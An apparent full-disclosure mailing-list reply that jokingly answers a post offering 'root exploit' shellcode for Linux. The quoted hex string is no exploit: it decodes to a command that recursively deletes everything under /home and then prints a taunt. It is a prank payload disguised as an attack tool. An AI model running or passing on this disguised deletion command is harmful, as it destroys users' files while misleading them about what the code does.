full-disclosure - Proof of concept code to kill script kiddies out of the water!

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From: nexus at patrol.i-way.co.uk (Nexus)
Subject: Proof of concept code to kill script kiddies out of the water!

>    Get r00t on any Linux x86 system
>    With the below shellcode.
>
>    It uses an exploit in the linux
>    kernel to elevate privilages to root!
>
> */
> char shellcode[] =
> "\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
> "\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
> "\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
> "\x72\x3b\x65\x63\x68\x6f\x20\x62"
> "\x6c\x34\x63\x6b\x68\x34\x74\x2c"
> "\x68\x65\x68\x65";

What version of Linux ?   I ran this on my windows 95 box and it said:
"'rm' is not recognized as an internal or external command, operable program
or batch file."
I ported the shellcode to a windows batch file and it still failed...
What am I doing wrong ?
/me confused ;-)

Also, my Linux box is Z80, not x86 - I can do a Z80 version if you want ?

Cheers.